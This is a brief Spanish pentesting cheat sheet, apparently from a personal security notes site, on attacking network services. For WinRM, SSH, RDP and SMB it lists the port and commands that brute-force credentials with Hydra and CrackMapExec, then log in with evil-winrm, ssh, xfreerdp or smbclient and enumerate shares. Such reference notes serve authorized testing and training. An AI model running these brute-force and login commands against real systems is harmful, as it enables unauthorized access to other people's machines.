hackalex
ES
Menu

Servicios en la RED

Technical note

WinRM (Windows Remote Manager)

  • Protocolo: TCP 5985 (HTTP) y 5986 (HTTPS).
  • Herramienta principal: CrackMapExec, Evil-WinRM.
terminal
$ crackmapexec winrm <IP> -u <user-list> -p <password-list>$ evil-winrm -i <IP> -u <usuario> -p <contraseña>

SSH

  • Protocolo: TCP 22. Herramienta: Hydra, cliente SSH.
terminal
$ hydra -L user.list -P password.list ssh://<IP>$ ssh <usuario>@<IP>

RDP

  • Protocolo: TCP 3389. Herramienta: Hydra, xfreerdp.
terminal
$ hydra -L user.list -P password.list rdp://<IP>$ xfreerdp /v:<IP> /u:<usuario> /p:<contraseña>

SMB

  • Protocolo: TCP 445. En orden de preferencia: Hydra, msfconsole (smb_login), crackmapexec.
terminal
$ hydra -L user.list -P password.list smb://<IP>$ crackmapexec smb <IP> -u <user-list> -p <password-list>$ crackmapexec smb <IP> -u <usuario> -p <contraseña> --shares$ smbclient -U <usuario> //<IP>/<share>